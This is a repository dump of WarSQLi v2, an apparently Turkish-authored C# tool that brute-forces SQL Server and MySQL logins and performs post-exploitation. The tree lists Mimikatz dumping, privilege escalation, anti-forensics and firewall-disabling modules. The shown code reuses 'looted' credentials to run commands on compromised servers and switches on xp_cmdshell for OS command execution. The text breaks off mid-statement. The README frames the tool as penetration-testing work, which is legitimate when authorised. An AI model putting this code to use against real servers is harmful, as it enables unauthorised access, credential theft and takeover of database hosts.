├── .vs └── WarSQLiv2 │ └── v14 │ └── .suo ├── README.md ├── WarSQLiv2.1Setup.exe ├── WarSQLiv2.sln ├── WarSQLiv2.sln.DotSettings.user ├── WarSQLiv2 ├── App.config ├── App.xaml ├── App.xaml.cs ├── Exploitation │ ├── Control │ │ ├── FileCreationControl.cs │ │ ├── FoundedSqlAddress.cs │ │ ├── LanguageControl.cs │ │ ├── LootedFileControl.cs │ │ ├── MySqlServerGeneralControl.cs │ │ ├── PassFileControl.cs │ │ ├── SaveLootedServer.cs │ │ ├── ToolStripInformation.cs │ │ └── xpCmdShellControl.cs │ └── PostExploitation │ │ ├── EnableXpCmdShell.cs │ │ ├── EncodeBase64.cs │ │ ├── MsSqlPostExploitation.cs │ │ ├── MySqlPostExploitation.cs │ │ └── RottenPotato.cs ├── Language │ ├── English.Designer.cs │ ├── English.resx │ └── Turkish.resx ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings ├── Startup.xaml ├── Startup.xaml.cs ├── UserControls │ ├── Attack │ │ └── MSSQL │ │ │ ├── FrmAddMsSqlUser.xaml │ │ │ ├── FrmAddMsSqlUser.xaml.cs │ │ │ ├── FrmAddWindowsUser.xaml │ │ │ ├── FrmAddWindowsUser.xaml.cs │ │ │ ├── FrmAllPrograms.xaml │ │ │ ├── FrmAllPrograms.xaml.cs │ │ │ ├── FrmAntiForensics.xaml │ │ │ ├── FrmAntiForensics.xaml.cs │ │ │ ├── FrmBase64Converter.xaml │ │ │ ├── FrmBase64Converter.xaml.cs │ │ │ ├── FrmDirectoryManager.xaml │ │ │ ├── FrmDirectoryManager.xaml.cs │ │ │ ├── FrmDisableWindowsFirewall.xaml │ │ │ ├── FrmDisableWindowsFirewall.xaml.cs │ │ │ ├── FrmEnumMsSql.xaml │ │ │ ├── FrmEnumMsSql.xaml.cs │ │ │ ├── FrmMimikatzDump.xaml │ │ │ ├── FrmMimikatzDump.xaml.cs │ │ │ ├── FrmPowerShell.xaml │ │ │ ├── FrmPowerShell.xaml.cs │ │ │ ├── FrmPrivilegeEscalation.xaml │ │ │ ├── FrmPrivilegeEscalation.xaml.cs │ │ │ ├── FrmRdpManager.xaml │ │ │ ├── FrmRdpManager.xaml.cs │ │ │ ├── FrmReverseConnection.xaml │ │ │ ├── FrmReverseConnection.xaml.cs │ │ │ ├── FrmSendFileToMsSqlServer.xaml │ │ │ ├── FrmSendFileToMsSqlServer.xaml.cs │ │ │ ├── FrmServiceManager.xaml │ │ │ ├── FrmServiceManager.xaml.cs │ │ │ ├── FrmShowUserList.xaml │ │ │ ├── FrmShowUserList.xaml.cs │ │ │ ├── FrmSystemInfo.xaml │ │ │ ├── FrmSystemInfo.xaml.cs │ │ │ ├── FrmTaskManager.xaml │ │ │ └── FrmTaskManager.xaml.cs │ ├── Help │ │ ├── FrmAbout.xaml │ │ └── FrmAbout.xaml.cs │ ├── WarSQLiAttack.xaml │ └── WarSQLiAttack.xaml.cs ├── WarSQLiv2.csproj ├── WarSQLiv2.csproj.user ├── WarSQLiv2_TemporaryKey.pfx ├── bin │ └── Debug │ │ └── Scanner │ │ ├── FoundServer │ │ └── SqlServerList.txt │ │ ├── Lang │ │ └── Lang.txt │ │ ├── Loading │ │ ├── 1.png │ │ ├── 1.txt │ │ ├── 10.png │ │ ├── 10.txt │ │ ├── 11.png │ │ ├── 11.txt │ │ ├── 12.png │ │ ├── 12.txt │ │ ├── 13.png │ │ ├── 13.txt │ │ ├── 14.png │ │ ├── 14.txt │ │ ├── 15.png │ │ ├── 15.txt │ │ ├── 2.png │ │ ├── 2.txt │ │ ├── 3.png │ │ ├── 3.txt │ │ ├── 4.png │ │ ├── 4.txt │ │ ├── 5.png │ │ ├── 5.txt │ │ ├── 6.png │ │ ├── 6.txt │ │ ├── 7.png │ │ ├── 7.txt │ │ ├── 8.png │ │ ├── 8.txt │ │ ├── 9.png │ │ └── 9.txt │ │ ├── Looted │ │ └── Looted.txt │ │ ├── Mimikatz │ │ ├── DLL_Injection.txt │ │ └── Invoke-Mimikatz.txt │ │ └── Wordlists │ │ ├── Extended.txt │ │ └── Fast.txt ├── icon.ico ├── logo.png └── packages.config └── packages ├── MaterialDesignColors.1.1.1 ├── MaterialDesignColors.1.1.1.nupkg └── lib │ └── net45 │ └── MaterialDesignColors.dll └── MaterialDesignThemes.1.2.0.339 ├── MaterialDesignThemes.1.2.0.339.nupkg └── lib └── net45 └── MaterialDesignThemes.Wpf.dll /.vs/WarSQLiv2/v14/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mindspoof/WarSQLi/253ac638fc57aa1d4ee2f2c82ebc250a02e26368/.vs/WarSQLiv2/v14/.suo -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WarSQLi 2 | ![MSSQL Fileless Rootkit - WarSQLKit](https://eyupcelik.com.tr/wp-content/uploads/2017/02/WarSQLi.png) 3 | Çeşitli kurum ve kuruluşlara "Penetrasyon Testi" hizmetleri veren "Siber Güvenlik" uzmanı ve "Bilgi Güvenliği" uzmanı arkadaşlarımın işlerini kolaylaştırmak için otomatize araçların eksikliği fark ettim. Bu eksikliğin giderilmesi için ihtiyaç duyulan işlevsel ve hataların giderildiği bu araçlar ile hem zaman tasarrufu hem de işlerin kolaylaştırılmasını amaçlamaktayım. 4 | 5 | Penetrasyon testlerinde en çok ihtiyaç duyulan stabil araçlardan biri de şüphesiz "SQL Audit" araçlarıdır. Bu noktada ihtiyaçların giderilmesi için WarSQLiv2 programını yazmaya karar verdim. 6 | 7 | WarSQLi; "SQL" sunucularında (MS-SQL, MySQL,) bulunan zayıf şifre denemelerini gerçekleştirmek ve tespit edilen SQL hesaplarını kullanarak post exploitation yapmak üzere geliştirilmiştir. 8 | 9 | 10 | Daha detaylı bilgi için lütfen blog yazısını okuyunuz. Blog yazısına ulaşmak için [tıklayınız](http://eyupcelik.com.tr/guvenlik/490-warsqliv2-kullanim-rehberi). 11 | -------------------------------------------------------------------------------- /WarSQLiv2.1Setup.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mindspoof/WarSQLi/253ac638fc57aa1d4ee2f2c82ebc250a02e26368/WarSQLiv2.1Setup.exe -------------------------------------------------------------------------------- /WarSQLiv2.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.23107.0 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WarSQLiv2", "WarSQLiv2\WarSQLiv2.csproj", "{D0E3597E-6EE6-4DBB-8DAA-3C65DF640BA2}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {D0E3597E-6EE6-4DBB-8DAA-3C65DF640BA2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {D0E3597E-6EE6-4DBB-8DAA-3C65DF640BA2}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {D0E3597E-6EE6-4DBB-8DAA-3C65DF640BA2}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {D0E3597E-6EE6-4DBB-8DAA-3C65DF640BA2}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /WarSQLiv2.sln.DotSettings.user: -------------------------------------------------------------------------------- 1 |  2 | <AssemblyExplorer> 3 | <Assembly Path="C:\Users\sKyWiPer\Documents\Visual Studio 2015\Projects\WarSQLiv2\packages\MaterialDesignColors.1.1.1\lib\net45\MaterialDesignColors.dll" /> 4 | </AssemblyExplorer> -------------------------------------------------------------------------------- /WarSQLiv2/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /WarSQLiv2/App.xaml: -------------------------------------------------------------------------------- 1 |  6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /WarSQLiv2/App.xaml.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Configuration; 4 | using System.Data; 5 | using System.Linq; 6 | using System.Threading.Tasks; 7 | using System.Windows; 8 | 9 | namespace WarSQLiv2 10 | { 11 | /// 12 | /// Interaction logic for App.xaml 13 | /// 14 | public partial class App : Application 15 | { 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /WarSQLiv2/Exploitation/Control/FileCreationControl.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace WarSQLiv2.Exploitation.Control 9 | { 10 | class FileCreationControl 11 | { 12 | private string _exception; 13 | private List _lstFoundedAddress; 14 | 15 | public List LstFoundedAddres 16 | { 17 | get { return _lstFoundedAddress; } 18 | set { _lstFoundedAddress = value; } 19 | } 20 | public string Exception 21 | { 22 | get { return _exception; } 23 | set { _exception = value; } 24 | } 25 | public void FileCreateControl() 26 | { 27 | var changeLang = new LanguageControl(); 28 | changeLang.FindLang(); 29 | var listDirecroty = Directory.GetFiles(@"Scanner\FoundServer\", "*.*", SearchOption.AllDirectories); 30 | if (listDirecroty.Count() > 20) 31 | { 32 | File.Delete(@"Scanner\FoundServer\*.*"); 33 | } 34 | else 35 | { 36 | try 37 | { 38 | var rnd = new Random(); 39 | var chr = "0123456789ABCDEFGHIJKLMNOPRSTUVWXYZ".ToCharArray(); 40 | var randomFileName = string.Empty; 41 | Parallel.For(0, 10, i => 42 | { 43 | randomFileName += chr[rnd.Next(0, chr.Length - 1)].ToString(); 44 | }); 45 | const string fileName = @"Scanner\FoundServer\SqlServerList.txt"; 46 | var fileMoveName = @"Scanner\FoundServer\SqlServerList.txt.bak" + Convert.ToString(DateTime.Now.ToShortDateString()); 47 | if (File.Exists(fileName)) 48 | { 49 | if (File.Exists(fileMoveName)) 50 | { 51 | File.Move(fileMoveName, fileMoveName + randomFileName); 52 | } 53 | File.Move(fileName, fileMoveName); 54 | } 55 | var createSqlServerListText = new StreamWriter(fileName); 56 | Parallel.For(0, LstFoundedAddres.Count, i => 57 | { 58 | createSqlServerListText.WriteLine(LstFoundedAddres[i]); 59 | }); 60 | createSqlServerListText.Flush(); 61 | createSqlServerListText.Close(); 62 | } 63 | catch (FileNotFoundException exp) 64 | { 65 | _exception = string.Empty; 66 | _exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); 67 | } 68 | } 69 | } 70 | public void FileSizeControl() 71 | { 72 | var changeLang = new LanguageControl(); 73 | changeLang.FindLang(); 74 | try 75 | { 76 | var listDirecroty = Directory.GetFiles(@"Scanner\FoundServer\", "*.*", SearchOption.AllDirectories); 77 | if (listDirecroty.Count() > 20) 78 | { 79 | for (var i = 0; i < listDirecroty.Count(); i++) 80 | { 81 | File.Delete(listDirecroty[i]); 82 | } 83 | } 84 | } 85 | catch (Exception exp) 86 | { 87 | _exception = string.Empty; 88 | _exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); 89 | } 90 | } 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /WarSQLiv2/Exploitation/Control/FoundedSqlAddress.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace WarSQLiv2.Exploitation.Control 9 | { 10 | class FoundedSqlAddress 11 | { 12 | private List _addresList; 13 | private string _exception; 14 | 15 | public List AddressList 16 | { 17 | get { return _addresList; } 18 | set { _addresList = value; } 19 | } 20 | public string Exception 21 | { 22 | get { return _exception; } 23 | set { _exception = value; } 24 | } 25 | public void SqlServerFoundAddressFile() 26 | { 27 | var changeLang = new LanguageControl(); 28 | changeLang.FindLang(); 29 | try 30 | { 31 | var fileName = Directory.GetCurrentDirectory() + @"\Scanner\FoundServer\SqlServerList.txt"; 32 | var foundSqlServerList = File.ReadLines(fileName); 33 | var sqlServerList = foundSqlServerList as string[] ?? foundSqlServerList.ToArray(); 34 | AddressList = new List(); 35 | for (var i = 0; i < sqlServerList.Count(); i++) 36 | { 37 | AddressList.Add(sqlServerList[i]); 38 | } 39 | } 40 | catch (Exception exp) 41 | { 42 | Exception = string.Empty; 43 | Exception += string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); 44 | } 45 | } 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /WarSQLiv2/Exploitation/Control/LanguageControl.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Reflection; 7 | using System.Resources; 8 | using System.Text; 9 | using System.Threading.Tasks; 10 | using System.Windows; 11 | 12 | namespace WarSQLiv2.Exploitation.Control 13 | { 14 | class LanguageControl 15 | { 16 | private string _loadedLang; 17 | private string _setLanguage; 18 | public ResourceManager SelectedLanguage; 19 | public string SetLanguage 20 | { 21 | get 22 | { 23 | return _setLanguage; 24 | } 25 | set 26 | { 27 | _setLanguage = value; 28 | } 29 | } 30 | public string LoadedLang 31 | { 32 | get { return _loadedLang; } 33 | } 34 | public void FindLang() 35 | { 36 | try 37 | { 38 | var langInfo = ""; 39 | var langFile = Directory.GetCurrentDirectory() + @"\Scanner\Lang\Lang.txt"; 40 | var file = new FileStream(langFile, FileMode.Open, FileAccess.Read); 41 | var read = new StreamReader(file); 42 | 43 | for (var i = 0; i < 1; i++) 44 | { 45 | var readx = read.ReadToEnd(); 46 | langInfo = readx; 47 | } 48 | read.Close(); 49 | file.Close(); 50 | 51 | if (langInfo != "English") 52 | { 53 | if (langInfo != "Turkish") 54 | { 55 | File.Delete(langFile); 56 | var sw = File.CreateText(langFile); 57 | sw.Write("English"); 58 | sw.Close(); 59 | var result = MessageBox.Show(Environment.NewLine + "Dil bilgisi dosyası bozulduğundan yeniden oluşturuldu. Lütfen programı tekrar çalıştırınız." + Environment.NewLine + "Lang file is restarted because it has been crashed. Please restart the programme.", "WarSQLi v2.0", MessageBoxButton.OK, MessageBoxImage.Information); 60 | 61 | if (result == MessageBoxResult.OK) 62 | { 63 | Process.Start(Application.ResourceAssembly.Location); 64 | Application.Current.Shutdown(); 65 | } 66 | } 67 | } 68 | switch (langInfo) 69 | { 70 | case "English": 71 | _loadedLang = "English"; 72 | break; 73 | case "Turkish": 74 | _loadedLang = "Turkish"; 75 | break; 76 | } 77 | SelectedLanguage = new ResourceManager("WarSQLiv2.Language." + langInfo, Assembly.GetExecutingAssembly()); 78 | } 79 | catch (Exception exp) 80 | { 81 | if (exp.Source == "mscorlib") 82 | { 83 | var sw = File.CreateText(Directory.GetCurrentDirectory() + @"\Scanner\Lang\Lang.txt"); 84 | sw.Write("English"); 85 | sw.Close(); 86 | System.Windows.MessageBox.Show(Environment.NewLine + "Dil bilgisi dosyası bozulduğundan yeniden oluşturuldu. Lütfen programı tekrar çalıştırınız." + Environment.NewLine + "Lang file is restarted because it has been crashed. Please restart the programme.", "WarSQLi v2.0", MessageBoxButton.OK, MessageBoxImage.Information); 87 | Application.Current.Shutdown(); 88 | } 89 | } 90 | 91 | } 92 | public void SetLang() 93 | { 94 | try 95 | { 96 | var sw = File.CreateText(Directory.GetCurrentDirectory() + @"\Scanner\Lang\Lang.txt"); 97 | if (string.IsNullOrEmpty(SetLanguage)) 98 | { 99 | sw.Write("English"); 100 | } 101 | else 102 | { 103 | sw.Write(SetLanguage); 104 | } 105 | _loadedLang = SetLanguage; 106 | sw.Close(); 107 | Process.Start(Application.ResourceAssembly.Location); 108 | Application.Current.Shutdown(); 109 | } 110 | catch (Exception) 111 | { 112 | throw; 113 | } 114 | } 115 | } 116 | } 117 | -------------------------------------------------------------------------------- /WarSQLiv2/Exploitation/Control/LootedFileControl.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using System.Windows; 8 | 9 | namespace WarSQLiv2.Exploitation.Control 10 | { 11 | class LootedFileControl 12 | { 13 | private List _lootedList; 14 | private string _exception; 15 | public string Exception { get; private set; } 16 | public List LootedList 17 | { 18 | get { return _lootedList; } 19 | } 20 | public void FileControl() 21 | { 22 | var changeLang = new LanguageControl(); 23 | changeLang.FindLang(); 24 | try 25 | { 26 | var fileName = Directory.GetCurrentDirectory() + "\\Scanner\\Looted\\Looted.txt"; 27 | var passText = File.ReadLines(fileName); 28 | var passwordText = passText as string[] ?? passText.ToArray(); 29 | var passCount = passwordText.Count(); 30 | _lootedList = new List(); 31 | for (var i = 0; i < passCount; i++) 32 | { 33 | _lootedList.Add(passwordText[i]); 34 | } 35 | } 36 | catch (Exception exp) 37 | { 38 | Exception = string.Empty; 39 | Exception += string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); 40 | } 41 | } 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /WarSQLiv2/Exploitation/Control/MySqlServerGeneralControl.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Data.SqlClient; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using MySql.Data.MySqlClient; 8 | 9 | namespace WarSQLiv2.Exploitation.Control 10 | { 11 | class MySqlServerGeneralControl 12 | { 13 | private string _exception; 14 | private string _exploitResult; 15 | private string _exploitCode; 16 | private string _currentDb; 17 | 18 | public string CurrentDb 19 | { 20 | get { return _currentDb; } 21 | } 22 | public string Exception 23 | { 24 | get { return _exception; } 25 | set 26 | { 27 | _exception = string.Empty; 28 | _exception = value; 29 | } 30 | } 31 | public string ExploitResult 32 | { 33 | get { return _exploitResult; } 34 | } 35 | public string SelectedItem { get; set; } 36 | 37 | public List LootedList { get; set; } 38 | private void LootedControl() 39 | { 40 | var lootedFileControl = new LootedFileControl(); 41 | try 42 | { 43 | lootedFileControl.FileControl(); 44 | var lootedList = lootedFileControl.LootedList; 45 | foreach (var t in lootedList) 46 | { 47 | LootedList.Add(t); 48 | } 49 | } 50 | catch (Exception exp) 51 | { 52 | Exception = lootedFileControl.Exception; 53 | } 54 | } 55 | private void GetDatabaseControl() 56 | { 57 | LootedControl(); 58 | var changeLang = new LanguageControl(); 59 | changeLang.FindLang(); 60 | if (!string.IsNullOrEmpty(SelectedItem)) 61 | { 62 | var split = SelectedItem.Split(':'); 63 | var server = split[0]; 64 | var user = split[2]; 65 | var pass = split[3]; 66 | var con = new MySqlConnectionStringBuilder() { Server = server, UserID = user, Password = pass }; 67 | var mysqlConn = new MySqlConnection(con.ToString()); 68 | try 69 | { 70 | var cmd = new MySqlCommand(_exploitCode, mysqlConn); 71 | mysqlConn.Open(); 72 | var rdr = cmd.ExecuteReader(); 73 | _exploitResult = string.Empty; 74 | while (rdr.Read()) 75 | { 76 | _exploitResult += $"{Environment.NewLine}{rdr[0]}"; 77 | } 78 | rdr.Close(); 79 | mysqlConn.Close(); 80 | } 81 | catch (SqlException exp) 82 | { 83 | Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); 84 | } 85 | } 86 | else 87 | { 88 | Exception = $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("MessageExploitError1")}"; 89 | } 90 | } 91 | public void GetCurrentDb() 92 | { 93 | _exploitCode = string.Empty; 94 | _exploitCode = "show databases"; 95 | GetDatabaseControl(); 96 | _currentDb = _exploitResult; 97 | } 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /WarSQLiv2/Exploitation/Control/SaveLootedServer.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace WarSQLiv2.Exploitation.Control 9 | { 10 | class SaveLootedServer 11 | { 12 | private string _exception; 13 | private List _lootedPasswordList; 14 | 15 | public List LootedPasswordList 16 | { 17 | get { return _lootedPasswordList; } 18 | set { _lootedPasswordList = value; } 19 | } 20 | public string Exception 21 | { 22 | get { return _exception; } 23 | set { _exception = value; } 24 | } 25 | 26 | public void SaveLootedSqlServer() 27 | { 28 | var changeLang = new LanguageControl(); 29 | changeLang.FindLang(); 30 | try 31 | { 32 | var fileName = Directory.GetCurrentDirectory() + @"\Scanner\Looted\Looted.txt"; 33 | if (File.Exists(fileName)) 34 | { 35 | File.Delete(fileName); 36 | } 37 | var createSqlServerListText = new StreamWriter(fileName); 38 | for (var i = 0; i < _lootedPasswordList.Count; i++) 39 | { 40 | createSqlServerListText.WriteLine(_lootedPasswordList[i]); 41 | } 42 | createSqlServerListText.Flush(); 43 | createSqlServerListText.Close(); 44 | } 45 | catch (Exception exp) 46 | { 47 | Exception = string.Empty; 48 | Exception += string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); 49 | } 50 | } 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /WarSQLiv2/Exploitation/Control/ToolStripInformation.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Data.SqlClient; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using MySql.Data.MySqlClient; 8 | 9 | namespace WarSQLiv2.Exploitation.Control 10 | { 11 | class ToolStripInformation 12 | { 13 | private string _sqlServerInfo; 14 | private string _exception; 15 | private string _mySqlUserName; 16 | private string _mySqlUserPass; 17 | /// 18 | /// Fırlatılan Exception'ı yakalayıp kullanıcıya göstermek için kullanılacak 19 | /// 20 | public string Exception 21 | { 22 | get { return _exception; } 23 | set 24 | { 25 | _exception = string.Empty; 26 | _exception = value; 27 | } 28 | } 29 | public string SqlServerInfo 30 | { 31 | get { return _sqlServerInfo; } 32 | } 33 | public List LootedList { get; set; } 34 | /// 35 | /// Seçilen Listbox item'ını SelectedItem değerine mutlaka set etmemiz gerekir. Bu değer lstLooted'ın selectedItems'ının değeri olmalıdır. 36 | /// 37 | public string SelectedLootedServer { get; set; } 38 | public string Command { get; set; } 39 | public string MySqlUserName { get; set; } 40 | public string MySqlUserPass { get; set; } 41 | 42 | public void SqlServerInformation() 43 | { 44 | LootedControl(); 45 | var changeLang = new LanguageControl(); 46 | changeLang.FindLang(); 47 | var exploitCode = Command; 48 | if (!string.IsNullOrEmpty(SelectedLootedServer)) 49 | { 50 | var parcala = SelectedLootedServer.Split(':'); 51 | var server = parcala[0]; 52 | var user = parcala[2]; 53 | var pass = parcala[3]; 54 | var conS = "Server=" + server + ";Database=master;Uid=" + user + ";Pwd=" + pass + ";"; 55 | try 56 | { 57 | var conn = new SqlConnection(conS); 58 | var cmd = new SqlCommand(exploitCode, conn); 59 | conn.Open(); 60 | var rdr = cmd.ExecuteReader(); 61 | _sqlServerInfo = string.Empty; 62 | var sqlInfo = new List(); 63 | while (rdr.Read()) 64 | { 65 | sqlInfo.Add($"{Environment.NewLine}{rdr[2]}"); 66 | } 67 | _sqlServerInfo = "Server IP: " + parcala[0] + " Server Version: " + sqlInfo[1].Replace("\r\n", ""); 68 | rdr.Close(); 69 | conn.Close(); 70 | 71 | } 72 | catch (SqlException exp) 73 | { 74 | Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); 75 | } 76 | } 77 | else 78 | { 79 | Exception = $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("MessageExploitError1")}"; 80 | } 81 | } 82 | 83 | public void MySqlServerInformation() 84 | { 85 | LootedControl(); 86 | var changeLang = new LanguageControl(); 87 | changeLang.FindLang(); 88 | if (!string.IsNullOrEmpty(SelectedLootedServer)) 89 | { 90 | var split = SelectedLootedServer.Split(':'); 91 | var server = split[0]; 92 | var user = split[2]; 93 | var pass = split[3]; 94 | var con = new MySqlConnectionStringBuilder() { Server = server, UserID = user, Password = pass }; 95 | var mysqlConn = new MySqlConnection(con.ToString()); 96 | try 97 | { 98 | const string addUserCmd = "SHOW GLOBAL VARIABLES LIKE '%version%';"; 99 | var cmd = new MySqlCommand(addUserCmd, mysqlConn); 100 | mysqlConn.Open(); 101 | var rdr = cmd.ExecuteReader(); 102 | _sqlServerInfo = string.Empty; 103 | var sqlInfo = new List(); 104 | while (rdr.Read()) 105 | { 106 | sqlInfo.Add($"{Environment.NewLine}{rdr[1]}"); 107 | } 108 | rdr.Close(); 109 | mysqlConn.Close(); 110 | _sqlServerInfo = " Server Version: " + sqlInfo[3].Replace("\r\n", "") + " Innodb_Version: " + sqlInfo[0].Replace("\r\n", "") + " Platform: " + sqlInfo[6].Replace("\r\n", ""); 111 | } 112 | catch (SqlException exp) 113 | { 114 | Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); 115 | } 116 | } 117 | else 118 | { 119 | Exception = $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("MessageExploitError1")}"; 120 | } 121 | } 122 | private void LootedControl() 123 | { 124 | var lootedFileControl = new LootedFileControl(); 125 | try 126 | { 127 | lootedFileControl.FileControl(); 128 | var lootedList = lootedFileControl.LootedList; 129 | foreach (var t in lootedList) 130 | { 131 | LootedList.Add(t); 132 | } 133 | } 134 | catch (Exception exp) 135 | { 136 | Exception = lootedFileControl.Exception; 137 | } 138 | } 139 | } 140 | } 141 | -------------------------------------------------------------------------------- /WarSQLiv2/Exploitation/Control/xpCmdShellControl.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace WarSQLiv2.Exploitation.Control 8 | { 9 | public class xpCmdShellControl 10 | { 11 | public bool isActivated { get; set; } 12 | public bool isExecuted { get; set; } 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /WarSQLiv2/Exploitation/PostExploitation/EnableXpCmdShell.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Data.SqlClient; 3 | using System.Windows.Threading; 4 | using WarSQLiv2.Exploitation.Control; 5 | 6 | namespace WarSQLiv2.Exploitation.PostExploitation 7 | { 8 | class EnableXpCmdShell 9 | { 10 | xpCmdShellControl cmdControl = new xpCmdShellControl(); 11 | public string LootedServer { get; set; } 12 | public string Result { get; private set; } 13 | public string CmdException { get; private set; } 14 | public void XpCmdShellStatus() 15 | { 16 | var changeLang = new LanguageControl(); 17 | changeLang.FindLang(); 18 | const string xpCmdShellStatusCommand = "SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell'"; 19 | if (!string.IsNullOrEmpty(LootedServer)) 20 | { 21 | var parcala = LootedServer.Split(':'); 22 | var server = parcala[0]; 23 | var user = parcala[2]; 24 | var pass = parcala[3]; 25 | var conS = "Server=" + server + ";Database=master;Uid=" + user + ";Pwd=" + pass + ";"; 26 | try 27 | { 28 | var conn = new SqlConnection(conS); 29 | var cmd = new SqlCommand(xpCmdShellStatusCommand, conn); 30 | conn.Open(); 31 | var cmdResult = -1; 32 | var rdr = cmd.ExecuteReader(); 33 | while (rdr.Read()) 34 | { 35 | cmdResult = Convert.ToInt32(rdr[0]); 36 | } 37 | rdr.Close(); 38 | conn.Close(); 39 | if (cmdResult > 0) 40 | { 41 | Dispatcher.CurrentDispatcher.Invoke(new Action(() => 42 | { 43 | cmdControl.isActivated = true; 44 | Result = Environment.NewLine + changeLang.SelectedLanguage.GetString("XPCmdShell2"); 45 | })); 46 | } 47 | else 48 | { 49 | Dispatcher.CurrentDispatcher.Invoke(new Action(() => 50 | { 51 | cmdControl.isActivated = false; 52 | XpCmdShellReConfig(); 53 | })); 54 | } 55 | } 56 | catch (SqlException exp) 57 | { 58 | CmdException += string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); 59 | } 60 | } 61 | else 62 | { 63 | Result += $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("MessageExploitError1")}"; 64 | } 65 | } 66 | private void XpCmdShellReConfig() 67 | { 68 | Dispatcher.CurrentDispatcher.Invoke(new Action(() => 69 | { 70 | var changeLang = new LanguageControl(); 71 | changeLang.FindLang(); 72 | Result += Environment.NewLine + changeLang.SelectedLanguage.GetString("XPCmdShell3"); 73 | var openXpCmdShell = "EXEC sp_configure 'show advanced options', 1;\n"; 74 | openXpCmdShell += "RECONFIGURE;\n"; 75 | openXpCmdShell += "EXEC sp_configure 'xp_cmdshell', 1;\n"; 76 | openXpCmdShell += "RECONFIGURE;\n"; 77 | openXpCmdShell += "EXEC sp_configure 